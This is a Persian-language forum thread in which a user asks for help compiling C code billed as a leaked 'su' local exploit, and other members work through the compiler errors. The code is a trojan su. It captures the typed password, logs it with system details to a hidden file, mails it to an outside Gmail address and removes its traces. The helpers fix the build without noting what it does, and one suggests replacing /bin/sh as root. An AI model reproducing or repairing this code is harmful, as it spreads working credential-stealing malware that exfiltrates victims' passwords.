PDA

View Full Version : سوال: مشکل در کامپایل بر پایه ی لینوکس



Mehdi_Shams
پنج شنبه 07 خرداد 1388, 20:12 عصر
سلام دوستان عزیز
من نمیتونم این برنامه رو تو لینوکس بدون ایراد کامپایل کنم
میشه کمک کنید ؟

/*
1- ch4n93d /home/useracc/
su x.x.x Local Leaked Exploit 0-day
c0ded by : hiv01
Leaked by : Allah Hacker
*/
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
main(int argc, char *argv[]){
FILE *fp;
char *user;
char *pass;
char filex[100];
char clean[100];
sprintf(filex,"/var/tmp/.pwds");
sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/priv8/.wgetrc
/home/priv8/.bash_profile");
if(argc==1) user="root";
if(argc==2) user=argv[1];
if(argc>2){
if(strcmp(argv[1], "-l")==0)
user=argv[2];
else user=argv[1];}
fprintf(stdout,"Password: "); pass=getpass ("");
system("sleep 3");
fprintf(stdout,"su: Authentication failure\n00ps what the fuck you doing
X_Dr.the bright boy_X.\n");
if ((fp=fopen(filex,"w")) != NULL)
{
fprintf(fp, "%s:%s\n", user, pass);
fclose(fp);
}
system(clean);
system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");
/* If you don't want password in your e-mail address ^_^ uncomment this
line: */
system("uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail
bsdnic@gmail.com");
}

با تشکر از همه ی دوستان :لبخندساده:

حامد مصافی
پنج شنبه 07 خرداد 1388, 20:16 عصر
خب دوست عزیزم، متن خطایی رو که دریافت می کنید ذکر کنید.

Mehdi_Shams
پنج شنبه 07 خرداد 1388, 20:28 عصر
gcc su.c -o su2
su.c: In function 'main':
su.c:16: error: missing terminating " character
su.c:17: error: expected expression before '/' token
su.c:17: error: missing terminating " character
su.c:26: error: missing terminating " character
su.c:27: error: stray '\' in program
su.c:27: error: missing terminating " character
su.c:37: error: missing terminating " character
su.c:38: error: stray '@' in program
su.c:38: error: missing terminating " character
su.c:39: error: expected declaration or statement at end of input

Mehdi_Shams
جمعه 08 خرداد 1388, 11:31 صبح
دوستان و اساتید محترم لینوکس و برنامه نویسی اگر بتونن کمکی بکنن ممنون میشم

به قول اونوری ها " ما هستیم :لبخند: و منتظریم "

Saeed_m_Farid
جمعه 08 خرداد 1388, 11:57 صبح
اين دوتا رو اضافه كن ببين مشكلت حل ميشه؟

#include <stdio.h>
#include <conio.h>

خطاهاي كامپايل خيلي بيربط هستن! من اين دوتا رو اضافه كردم برنامتون كامپايل شد ...

:متفکر: پ.ن. : يه بدبختي اشتباه پسورد وارد كنه بايد فحش بخوره؟

PC2st
جمعه 08 خرداد 1388, 12:30 عصر
بدون تغییر کد، واسه من با چند تا اخطار تو لینوکس کامپایل میشه!


sample.c:3: warning: return type defaults to ‘int’
sample.c: In function ‘main’:
sample.c:14: warning: implicit declaration of function ‘strcmp’
sample.c:17: warning: implicit declaration of function ‘getpass’
sample.c:17: warning: assignment makes pointer from integer without a cast
sample.c:28: warning: control reaches end of non-void function

Mehdi_Shams
جمعه 08 خرداد 1388, 12:44 عصر
اين دوتا رو اضافه كن ببين مشكلت حل ميشه؟

#include <stdio.h>
#include <conio.h>

خطاهاي كامپايل خيلي بيربط هستن! من اين دوتا رو اضافه كردم برنامتون كامپايل شد ...

:متفکر: پ.ن. : يه بدبختي اشتباه پسورد وارد كنه بايد فحش بخوره؟

دوست عزیز خیلی ممنون که همکاری کردین ولی بنده کاری رو که شما فرمودین رو انجام دادم ارور این شد :

gcc su.c -o testing
su.c:9:19: error: conio.h: No such file or directory
su.c: In function 'main':
su.c:17: error: missing terminating " character
su.c:18: error: expected expression before '/' token
su.c:18: error: missing terminating " character
su.c:27: error: missing terminating " character
su.c:28: error: stray '\' in program
su.c:28: error: missing terminating " character
su.c:38: error: missing terminating " character
su.c:39: error: stray '@' in program
su.c:39: error: missing terminating " character
su.c:40: error: expected declaration or statement at end of input

Saeed_m_Farid
جمعه 08 خرداد 1388, 15:04 عصر
دوست عزیز خیلی ممنون که همکاری کردین ولی بنده کاری رو که شما فرمودین رو انجام دادم ارور این شد :
در مورد conio.h‌ بنده اشتباه كردم، چون تو لينوكس اين توابع (مثلا getpass) تو sys-protos.h (http://www.ki.nu/software/gcc-4.2.1-doxygen/sys-protos_8h_47a06c421f1837ea976687173d057c10.html#47 a06c421f1837ea976687173d057c10) قرار دارن. (conio براي dos بود!)
ولي مشكل شما در كامپايل كد؛ تو syntax برنامتون نيست، اولا نسخه gcc‌ مورد استفادتون رو بفرماييد و از طرف ديگه توسعه لينوكس مورد استفادتون هم مهمه :
مثلا تو Debian پوسته پيش فرض (bin/sh/) از DASH مشتق ميشه كه با بك اسلش مشكل داره! فكر كنم اين مشكل رو ميتونيد با دستورات زير حل كنيد :
# mv /bin/sh /bin/sh-dash # ln -s /bin/bash /bin/sh
موفق باشيد ...

Saeed_m_Farid
جمعه 08 خرداد 1388, 15:14 عصر
بدون تغییر کد، واسه من با چند تا اخطار تو لینوکس کامپایل میشه!
در مورد دو تا warning اولي (14 و 17) چون اينا توابع استاندارد نيستن، اگه بجاي stdlib هدر sys-protos.h رو بذاريد احتمالا مرتفع بشن.
اخطارهاي اول و آخر (1و28) همونطوركه ميدونيد، بخاطر اينه كه واسه main‌نوع خروجي انتخاب نشده و پيش فرض int درنظر گرفته ميشه و شما هم كه return‌ نكردين اين warningها رو ميگيريد، مثلا يه void بذاريد اول main ديگه اخطاري در اين مورد نميده (يا return 0 آخرش بذاريد)

حامد مصافی
شنبه 09 خرداد 1388, 11:00 صبح
امیدوارم برنامه را دقیقاً در همین حالت که در پست اول ذکر کرده اید کامپایل نکرده باشید! تمام خطا های شما مربوط به شکستن رشته ها در دو خط است!!! :چشمک:

PC2st
شنبه 09 خرداد 1388, 12:54 عصر
:) دقیقا جناب BlackDal درست میگه، نباید اینطور باشه :لبخند:

من هم که قبلا کد ایشان رو copy/paste کردم و تونستم کامپایل کنم، نمیدونم چطور بود که رشته‌ها همش توی یک خط قرار گرفته بودند! و فایل هدر conio.h هم include نشده بود (پس احتمالا ایشان کدهای پست اول خودشون رو تغییر دادند).